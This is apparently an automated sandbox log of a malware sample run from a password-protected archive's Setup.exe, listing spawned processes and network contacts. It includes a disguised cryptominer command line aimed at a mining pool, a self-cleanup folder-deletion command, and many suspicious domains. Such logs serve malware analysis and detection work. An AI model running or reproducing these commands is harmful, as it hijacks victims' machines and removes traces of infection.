"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\" -spe -an -ai#7zMap10686:138:7zEvent14995

C:\Program Files\7-Zip\7zG.exe

"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\" -spe -an -ai#7zMap4810:216:7zEvent21754

C:\Program Files\7-Zip\7zG.exe

"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\" -spe -an -ai#7zMap17505:216:7zEvent9612

C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe

"C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe"

C:\Windows\SysWOW64\netsh.exe

C:\Windows\SysWOW64\netsh.exe

C:\Users\Admin\AppData\Local\Temp\coml.au3

C:\Users\Admin\AppData\Local\Temp\coml.au3

C:\ProgramData\HJJJECFIEC.exe

"C:\ProgramData\HJJJECFIEC.exe"

C:\ProgramData\CBFCFBFBFB.exe

"C:\ProgramData\CBFCFBFBFB.exe"

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBKEGCAEGIIJ" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Users\Admin\AppData\Roaming\help\fxcloud.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Network

Country Destination Domain Proto
N/A 127.0.0.1:49733 tcp
US 8.8.8.8:53 j6lyat060624q67.xyz udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 8.8.8.8:53 shavar.services.mozilla.com udp
US 34.160.144.191:443 content-signature-2.cdn.mozilla.net tcp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 52.33.96.36:443 shavar.services.mozilla.com tcp
US 104.21.46.30:443 j6lyat060624q67.xyz tcp
US 34.117.188.166:443 contile.services.mozilla.com tcp
US 34.117.188.166:443 contile.services.mozilla.com tcp
US 34.149.100.209:443 prod.remote-settings.prod.webservices.mozgcp.net tcp
US 34.107.243.93:443 autopush.prod.mozaws.net tcp
US 34.107.243.93:443 autopush.prod.mozaws.net tcp
US 104.21.46.30:443 j6lyat060624q67.xyz udp
US 34.120.5.221:443 prod.pocket.prod.cloudops.mozgcp.net tcp
US 34.149.100.209:443 prod.remote-settings.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 36.96.33.52.in-addr.arpa udp
US 8.8.8.8:53 221.5.120.34.in-addr.arpa udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
N/A 127.0.0.1:49739 tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 35.244.181.201:443 aus5.mozilla.org tcp
US 34.160.144.191:443 content-signature-2.cdn.mozilla.net tcp
FR 23.200.87.12:80 a19.dscg10.akamai.net tcp
GB 142.250.200.14:443 redirector.gvt1.com tcp
GB 142.250.200.14:443 redirector.gvt1.com udp
GB 173.194.183.166:443 r1---sn-aigl6ney.gvt1.com tcp
GB 173.194.183.166:443 r1---sn-aigl6ney.gvt1.com udp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 104.21.46.30:443 j6lyat060624q67.xyz udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 192.0.78.26:443 href.li tcp
US 8.8.8.8:53 href.li udp
US 192.0.78.26:443 href.li udp
US 8.8.8.8:53 mega.nz udp
LU 31.216.145.5:443 mega.nz tcp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 26.78.0.192.in-addr.arpa udp
US 8.8.8.8:53 5.145.216.31.in-addr.arpa udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 eu.static.mega.co.nz udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
US 8.8.8.8:53 g.api.mega.co.nz udp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
US 8.8.8.8:53 lu.api.mega.co.nz udp
US 8.8.8.8:53 lu.api.mega.co.nz udp
US 8.8.8.8:53 37.124.203.66.in-addr.arpa udp
US 8.8.8.8:53 14.125.203.66.in-addr.arpa udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 192.0.78.26:443 href.li tcp
US 8.8.8.8:53 href.li udp
US 34.117.188.166:443 contile.services.mozilla.com udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 192.0.78.26:443 href.li udp
US 8.8.8.8:53 mega.nz udp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 mega.nz udp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 eu.static.mega.co.nz udp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 5.144.216.31.in-addr.arpa udp
LU 66.203.125.14:443 lu.api.mega.co.nz tcp
LU 66.203.125.14:443 lu.api.mega.co.nz tcp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 92.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 j6lyat060624q67.xyz udp
US 8.8.8.8:53 j6lyat060624q67.xyz udp
US 104.21.46.30:443 j6lyat060624q67.xyz udp
US 8.8.8.8:53 j6lyat060624q67.xyz udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 firefox.settings.services.mozilla.com udp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 34.160.144.191:443 prod.content-signature-chains.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 104.21.46.30:443 j6lyat060624q67.xyz udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 104.21.46.30:443 j6lyat060624q67.xyz udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 haxpc.net udp
US 104.17.15.101:80 haxpc.net tcp
US 104.17.15.101:80 haxpc.net tcp
US 8.8.8.8:53 haxpc.net udp
US 8.8.8.8:53 haxpc.net udp
US 104.17.15.101:443 haxpc.net tcp
US 104.17.15.101:443 haxpc.net udp
US 8.8.8.8:53 101.15.17.104.in-addr.arpa udp
US 8.8.8.8:53 stats.wp.com udp
US 192.0.76.3:443 stats.wp.com tcp
US 8.8.8.8:53 stats.wp.com udp
US 192.0.76.3:443 stats.wp.com udp
US 8.8.8.8:53 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com tcp
US 8.8.8.8:53 pixel.wp.com udp
US 8.8.8.8:53 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 8.8.8.8:53 3.76.0.192.in-addr.arpa udp
US 8.8.8.8:53 142.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 crumbee.xyz udp
US 104.21.27.63:443 crumbee.xyz tcp
US 8.8.8.8:53 crumbee.xyz udp
US 8.8.8.8:53 63.27.21.104.in-addr.arpa udp
US 8.8.8.8:53 crumbee.xyz udp
US 104.21.27.63:443 crumbee.xyz udp
US 8.8.8.8:53 waztkrky716nwi.cfd udp
US 104.21.83.13:443 waztkrky716nwi.cfd tcp
US 8.8.8.8:53 waztkrky716nwi.cfd udp
US 8.8.8.8:53 waztkrky716nwi.cfd udp
US 104.21.83.13:443 waztkrky716nwi.cfd udp
US 8.8.8.8:53 13.83.21.104.in-addr.arpa udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 8.8.8.8:53 stats.wp.com udp
US 8.8.8.8:53 pixel.wp.com udp
US 104.21.27.63:443 crumbee.xyz udp
US 8.8.8.8:53 o2ooqn16nah.cfd udp
US 172.67.207.181:443 o2ooqn16nah.cfd tcp
US 8.8.8.8:53 o2ooqn16nah.cfd udp
US 8.8.8.8:53 o2ooqn16nah.cfd udp
US 172.67.207.181:443 o2ooqn16nah.cfd udp
US 8.8.8.8:53 yodgxd060624l18.xyz udp
US 172.67.221.92:443 yodgxd060624l18.xyz tcp
US 8.8.8.8:53 yodgxd060624l18.xyz udp
US 8.8.8.8:53 181.207.67.172.in-addr.arpa udp
US 8.8.8.8:53 yodgxd060624l18.xyz udp
US 172.67.221.92:443 yodgxd060624l18.xyz udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 8.8.8.8:53 92.221.67.172.in-addr.arpa udp
US 8.8.8.8:53 aus5.mozilla.org udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 35.244.181.201:443 prod.balrog.prod.cloudops.mozgcp.net tcp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 www.google.com udp
DE 142.250.185.68:443 www.google.com tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
DE 142.250.185.68:443 www.google.com udp
US 8.8.8.8:53 68.185.250.142.in-addr.arpa udp
US 8.8.8.8:53 227.181.250.142.in-addr.arpa udp
US 8.8.8.8:53 2.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 consent.google.com udp
GB 142.250.187.238:443 consent.google.com tcp
US 8.8.8.8:53 consent.google.com udp
US 8.8.8.8:53 consent.google.com udp
GB 142.250.187.238:443 consent.google.com udp
US 8.8.8.8:53 apis.google.com udp
DE 142.250.185.174:443 apis.google.com tcp
US 8.8.8.8:53 plus.l.google.com udp
US 8.8.8.8:53 plus.l.google.com udp
DE 142.250.185.174:443 plus.l.google.com udp
US 8.8.8.8:53 238.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 195.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 174.185.250.142.in-addr.arpa udp
US 8.8.8.8:53 play.google.com udp
DE 142.250.186.110:443 play.google.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 play.google.com udp
DE 142.250.186.110:443 play.google.com udp
US 8.8.8.8:53 110.186.250.142.in-addr.arpa udp
US 8.8.8.8:53 encrypted-vtbn0.gstatic.com udp
DE 142.250.184.238:443 encrypted-vtbn0.gstatic.com tcp
US 8.8.8.8:53 encrypted-vtbn0.gstatic.com udp
DE 142.250.184.238:443 encrypted-vtbn0.gstatic.com udp
US 8.8.8.8:53 238.184.250.142.in-addr.arpa udp
US 8.8.8.8:53 i.ytimg.com udp
NL 216.58.206.86:443 i.ytimg.com tcp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 i.ytimg.com udp
NL 216.58.206.86:443 i.ytimg.com udp
US 8.8.8.8:53 86.206.58.216.in-addr.arpa udp
SG 62.72.45.137:443 www.yasir252.com tcp
US 8.8.8.8:53 www.yasir252.com udp
US 8.8.8.8:53 www.yasir252.com udp
SG 62.72.45.137:443 www.yasir252.com tcp
US 8.8.8.8:53 137.45.72.62.in-addr.arpa udp
US 192.0.76.3:443 pixel.wp.com tcp
US 8.8.8.8:53 stats.wp.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 8.8.8.8:53 232.181.250.142.in-addr.arpa udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 192.0.76.3:443 pixel.wp.com tcp
US 8.8.8.8:53 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 36.34.239.216.in-addr.arpa udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 i0.wp.com udp
US 192.0.77.2:443 i0.wp.com tcp
US 8.8.8.8:53 i0.wp.com udp
US 192.0.77.2:443 i0.wp.com tcp
US 192.0.77.2:443 i0.wp.com tcp
US 8.8.8.8:53 i0.wp.com udp
US 192.0.77.2:443 i0.wp.com udp
US 8.8.8.8:53 2.77.0.192.in-addr.arpa udp
US 8.8.8.8:53 alwingulla.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 104.21.72.155:443 alwingulla.com tcp
US 8.8.8.8:53 alwingulla.com udp
US 8.8.8.8:53 alwingulla.com udp
US 104.21.72.155:443 alwingulla.com udp
US 8.8.8.8:53 155.72.21.104.in-addr.arpa udp
US 8.8.8.8:53 veepteero.com udp
NL 139.45.197.242:443 veepteero.com tcp
US 8.8.8.8:53 veepteero.com udp
US 8.8.8.8:53 veepteero.com udp
US 216.239.34.36:443 region1.google-analytics.com udp
US 8.8.8.8:53 my.rtmark.net udp
US 8.8.8.8:53 moonoafy.net udp
US 8.8.8.8:53 shoordaird.com udp
US 8.8.8.8:53 gishejuy.com udp
US 8.8.8.8:53 kukidsaidree.com udp
NL 139.45.195.8:443 my.rtmark.net tcp
US 8.8.8.8:53 my.rtmark.net udp
NL 139.45.197.250:443 moonoafy.net tcp
US 8.8.8.8:53 moonoafy.net udp
NL 139.45.197.242:443 kukidsaidree.com tcp
NL 139.45.197.242:443 kukidsaidree.com tcp
NL 139.45.197.244:443 shoordaird.com tcp
US 8.8.8.8:53 kukidsaidree.com udp
US 8.8.8.8:53 my.rtmark.net udp
US 8.8.8.8:53 moonoafy.net udp
US 8.8.8.8:53 kukidsaidree.com udp
US 8.8.8.8:53 gishejuy.com udp
US 8.8.8.8:53 shoordaird.com udp
US 8.8.8.8:53 gishejuy.com udp
US 8.8.8.8:53 shoordaird.com udp
NL 139.45.197.250:443 moonoafy.net tcp
US 8.8.8.8:53 tzegilo.com udp
US 172.67.193.52:443 tzegilo.com tcp
US 8.8.8.8:53 tzegilo.com udp
US 8.8.8.8:53 tzegilo.com udp
US 172.67.193.52:443 tzegilo.com udp
NL 139.45.197.242:443 gishejuy.com tcp
US 8.8.8.8:53 fleraprt.com udp
NL 139.45.197.244:443 shoordaird.com tcp
US 8.8.8.8:53 8.195.45.139.in-addr.arpa udp
US 8.8.8.8:53 242.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 250.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 244.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 52.193.67.172.in-addr.arpa udp
NL 139.45.195.254:443 fleraprt.com tcp
US 8.8.8.8:53 fleraprt.com udp
US 8.8.8.8:53 fleraprt.com udp
NL 139.45.197.151:443 interstitial-08.com tcp
US 8.8.8.8:53 interstitial-08.com udp
US 8.8.8.8:53 interstitial-08.com udp
US 8.8.8.8:53 offerimage.com udp
US 172.67.22.216:443 offerimage.com tcp
US 8.8.8.8:53 offerimage.com udp
US 8.8.8.8:53 offerimage.com udp
US 8.8.8.8:53 littlecdn.com udp
US 172.67.10.98:443 littlecdn.com tcp
US 8.8.8.8:53 littlecdn.com udp
US 172.67.10.98:443 littlecdn.com tcp
US 172.67.10.98:443 littlecdn.com tcp
US 172.67.10.98:443 littlecdn.com tcp
US 8.8.8.8:53 littlecdn.com udp
US 8.8.8.8:53 254.195.45.139.in-addr.arpa udp
US 8.8.8.8:53 151.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 216.22.67.172.in-addr.arpa udp
US 8.8.8.8:53 98.10.67.172.in-addr.arpa udp
US 104.17.15.101:443 haxpc.net udp
US 104.21.27.63:443 crumbee.xyz udp
US 8.8.8.8:53 o1eof12416zy.cfd udp
US 172.67.196.146:443 o1eof12416zy.cfd tcp
US 8.8.8.8:53 o1eof12416zy.cfd udp
US 8.8.8.8:53 o1eof12416zy.cfd udp
US 192.0.76.3:443 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 172.67.196.146:443 o1eof12416zy.cfd udp
US 8.8.8.8:53 146.196.67.172.in-addr.arpa udp
US 8.8.8.8:53 voz7tv221u6.cfd udp
US 172.67.186.41:443 voz7tv221u6.cfd tcp
US 8.8.8.8:53 voz7tv221u6.cfd udp
US 8.8.8.8:53 voz7tv221u6.cfd udp
US 172.67.186.41:443 voz7tv221u6.cfd udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 41.186.67.172.in-addr.arpa udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 74.185.250.142.in-addr.arpa udp
NL 139.45.197.244:443 shoordaird.com tcp
US 8.8.8.8:53 shoordaird.com udp
NL 139.45.195.254:443 fleraprt.com tcp
US 8.8.8.8:53 example.com udp
US 93.184.215.14:443 example.com tcp
US 8.8.8.8:53 example.com udp
US 8.8.8.8:53 example.com udp
NL 139.45.197.242:443 gishejuy.com tcp
US 8.8.8.8:53 veepteero.com udp
NL 139.45.197.250:443 moonoafy.net tcp
US 8.8.8.8:53 www.yasir252.com udp
US 8.8.8.8:53 instagram.bukusukses.com udp
SG 167.71.212.59:80 instagram.bukusukses.com tcp
SG 167.71.212.59:80 instagram.bukusukses.com tcp
US 8.8.8.8:53 go.ecotrackings.com udp
US 8.8.8.8:53 go.ecotrackings.com udp
US 8.8.8.8:53 boustahe.com udp
SG 167.71.212.59:80 go.ecotrackings.com tcp
US 8.8.8.8:53 prf.hn udp
GB 5.150.170.4:443 prf.hn tcp
US 8.8.8.8:53 prf.hn udp
US 8.8.8.8:53 4.170.150.5.in-addr.arpa udp
US 8.8.8.8:53 www.trip.com udp
NL 23.62.61.170:443 www.trip.com tcp
US 8.8.8.8:53 e229846.dscx.akamaiedge.net udp
US 8.8.8.8:53 e229846.dscx.akamaiedge.net udp
US 8.8.8.8:53 uk.trip.com udp
NL 23.62.61.170:443 uk.trip.com tcp
US 8.8.8.8:53 170.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 aw-s.tripcdn.com udp
US 8.8.8.8:53 ak-d.tripcdn.com udp
GB 18.172.89.121:443 aw-s.tripcdn.com tcp
GB 18.172.89.121:443 aw-s.tripcdn.com tcp
GB 18.172.89.121:443 aw-s.tripcdn.com tcp
GB 18.172.89.121:443 aw-s.tripcdn.com tcp
GB 18.172.89.121:443 aw-s.tripcdn.com tcp
GB 18.172.89.121:443 aw-s.tripcdn.com tcp
US 8.8.8.8:53 dw0co1l755x1v.cloudfront.net udp
US 8.8.8.8:53 a841.dscq.akamai.net udp
US 8.8.8.8:53 dw0co1l755x1v.cloudfront.net udp
US 8.8.8.8:53 a841.dscq.akamai.net udp
NL 23.63.101.177:443 a841.dscq.akamai.net tcp
NL 23.63.101.177:443 a841.dscq.akamai.net tcp
NL 23.63.101.177:443 a841.dscq.akamai.net tcp
GB 18.172.89.121:443 dw0co1l755x1v.cloudfront.net udp
NL 23.63.101.177:443 a841.dscq.akamai.net udp
US 8.8.8.8:53 static.tripcdn.com udp
NL 23.62.61.139:443 static.tripcdn.com tcp
US 8.8.8.8:53 dimg04.tripcdn.com udp
NL 23.62.61.139:443 dimg04.tripcdn.com tcp
US 8.8.8.8:53 121.89.172.18.in-addr.arpa udp
US 8.8.8.8:53 177.101.63.23.in-addr.arpa udp
US 8.8.8.8:53 139.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 webresource.tripcdn.com udp
US 8.8.8.8:53 bbzutils.tripcdn.cn udp
US 8.8.8.8:53 ubt-sgp.trip.com udp
GB 54.230.10.52:443 webresource.tripcdn.com tcp
US 8.8.8.8:53 d2ezjgczjytya6.cloudfront.net udp
GB 54.230.10.52:443 d2ezjgczjytya6.cloudfront.net tcp
CN 162.14.137.1:443 bbzutils.tripcdn.cn tcp
CN 162.14.137.1:443 bbzutils.tripcdn.cn tcp
US 8.8.8.8:53 slb-rb-bgp-ipv6-01.ctripgslb.com udp
SG 8.219.148.198:443 ubt-sgp.trip.com tcp
SG 8.219.148.198:443 ubt-sgp.trip.com tcp
US 8.8.8.8:53 nlb-w57plyjk8675g7deja.ap-southeast-1.nlb.aliyuncs.com udp
US 8.8.8.8:53 nlb-w57plyjk8675g7deja.ap-southeast-1.nlb.aliyuncs.com udp
US 8.8.8.8:53 slb-rb-bgp-ipv6-01.ctripgslb.com udp
US 8.8.8.8:53 d2ezjgczjytya6.cloudfront.net udp
CN 162.14.137.1:443 slb-rb-bgp-ipv6-01.ctripgslb.com tcp
SG 8.219.148.198:443 nlb-w57plyjk8675g7deja.ap-southeast-1.nlb.aliyuncs.com tcp
GB 54.230.10.52:443 d2ezjgczjytya6.cloudfront.net udp
US 8.8.8.8:53 52.10.230.54.in-addr.arpa udp
US 8.8.8.8:53 198.148.219.8.in-addr.arpa udp
US 8.8.8.8:53 wcs.naver.net udp
US 2.20.12.89:443 wcs.naver.net tcp
US 8.8.8.8:53 a385.d.akamai.net udp
US 8.8.8.8:53 e35058.a.akamaiedge.net udp
US 8.8.8.8:53 a385.d.akamai.net udp
US 8.8.8.8:53 e35058.a.akamaiedge.net udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 wcs.naver.com udp
KR 210.89.167.46:443 wcs.naver.com tcp
US 8.8.8.8:53 wcs.naver.com.nheos.com udp
US 8.8.8.8:53 89.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 wcs.naver.com.nheos.com udp
KR 210.89.167.46:443 wcs.naver.com.nheos.com tcp
NL 23.62.61.98:443 e35058.a.akamaiedge.net tcp
GB 163.70.147.35:443 star-mini.c10r.facebook.com tcp
GB 163.70.147.35:443 star-mini.c10r.facebook.com udp
BE 108.177.15.155:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 ak-s.tripcdn.com udp
NL 23.62.61.170:443 ak-s.tripcdn.com tcp
US 8.8.8.8:53 widget.trustpilot.com udp
US 8.8.8.8:53 pages.trip.com udp
GB 18.172.89.10:443 widget.trustpilot.com tcp
BE 108.177.15.155:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 widget.trustpilot.com udp
NL 23.62.61.139:443 pages.trip.com tcp
NL 23.62.61.139:443 pages.trip.com tcp
NL 23.62.61.139:443 pages.trip.com tcp
NL 23.62.61.139:443 pages.trip.com tcp
US 8.8.8.8:53 widget.trustpilot.com udp
US 8.8.8.8:53 35.147.70.163.in-addr.arpa udp
US 8.8.8.8:53 155.15.177.108.in-addr.arpa udp
US 8.8.8.8:53 98.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 10.89.172.18.in-addr.arpa udp
DE 142.250.185.68:443 www.google.com tcp
US 8.8.8.8:53 www.google.co.uk udp
DE 142.250.185.195:443 www.google.co.uk tcp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 www.google.co.uk udp
DE 142.250.185.68:443 www.google.com udp
DE 142.250.185.195:443 www.google.co.uk udp
US 8.8.8.8:53 195.185.250.142.in-addr.arpa udp
US 8.8.8.8:53 e193219.dsca.akamaiedge.net udp
NL 23.62.61.170:80 e193219.dsca.akamaiedge.net tcp
NL 23.62.61.170:80 e193219.dsca.akamaiedge.net tcp
NL 23.62.61.170:80 e193219.dsca.akamaiedge.net tcp
US 8.8.8.8:53 e193219.dsca.akamaiedge.net udp
US 8.8.8.8:53 uk.trip.com udp
US 8.8.8.8:53 file.tripcdn.com udp
NL 23.62.61.170:443 file.tripcdn.com tcp
US 8.8.8.8:53 www.jenismac.com udp
ID 103.123.62.101:443 www.jenismac.com tcp
US 8.8.8.8:53 www.jenismac.com udp
US 8.8.8.8:53 www.jenismac.com udp
US 8.8.8.8:53 chloro.trip.com udp
NL 23.62.61.170:443 chloro.trip.com tcp
ID 103.123.62.101:443 www.jenismac.com tcp
US 8.8.8.8:53 101.62.123.103.in-addr.arpa udp
US 216.239.34.36:443 region1.google-analytics.com tcp
US 216.239.34.36:443 region1.google-analytics.com udp
ID 103.123.62.101:443 www.jenismac.com udp
US 8.8.8.8:53 fundingchoicesmessages.google.com udp
US 8.8.8.8:53 rauvoaty.net udp
NL 139.45.197.251:443 rauvoaty.net tcp
